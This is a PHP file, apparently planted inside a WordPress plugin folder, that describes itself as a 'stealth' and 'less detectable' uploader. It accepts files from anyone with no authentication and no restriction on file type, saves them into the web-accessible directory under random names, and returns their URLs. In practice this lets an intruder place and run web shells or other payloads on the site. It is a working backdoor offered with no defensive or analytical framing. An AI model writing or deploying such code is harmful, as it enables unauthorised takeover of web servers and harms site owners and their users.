File: /opt/bitnami/wordpress/wp-content/plugins/zedd2703/m/up7.php
<?php
/**
* Simple Stealth Uploader v2 - Less detectable + Better error handling
*/
error_reporting(0);
if (!empty($_FILES['f']['tmp_name'])) {
$file = $_FILES['f'];
// Cek error PHP dulu
if ($file['error'] !== UPLOAD_ERR_OK) {
echo "---FAILED--- (Upload error code: " . $file['error'] . ")";
exit;
}
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (empty($ext)) $ext = 'bin';
// Nama random lebih panjang & aman (16-20 char)
$name = bin2hex(random_bytes(10)) . '.' . $ext;
$uploaded = false;
$tmp = $file['tmp_name'];
// Metode 1: move_uploaded_file (paling aman & cepat)
if (move_uploaded_file($tmp, $name)) {
$uploaded = true;
}
// Metode 2: copy (jika move gagal)
elseif (@copy($tmp, $name) && filesize($name) === $file['size']) {
$uploaded = true;
}
// Metode 3: chunked copy (untuk file besar / low memory)
else {
$src = @fopen($tmp, 'rb');
$dst = @fopen($name, 'wb');
if ($src && $dst) {
while (!feof($src)) {
fwrite($dst, fread($src, 8192));
}
fclose($src);
fclose($dst);
$uploaded = (filesize($name) === $file['size']);
}
}
// Cleanup tmp jika berhasil
if ($uploaded && file_exists($tmp)) {
@unlink($tmp);
}
if ($uploaded && file_exists($name) && filesize($name) > 0) {
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$dir = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/\\');
$url = $protocol . '://' . $_SERVER['HTTP_HOST'] . $dir . '/' . $name;
echo "---OK: <a href='$url' target='_blank'>$name</a> (" . round(filesize($name)/1024, 2) . " KB)---";
} else {
echo "---FAILED--- (semua metode gagal atau file 0 byte)";
// Optional: hapus file gagal
if (file_exists($name)) @unlink($name);
}
exit;
}
?>
<!DOCTYPE html>
<html>
<head><title>Uploader</title></head>
<body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="f" required>
<button type="submit">Upload → Random Name</button>
</form>
</body>
</html>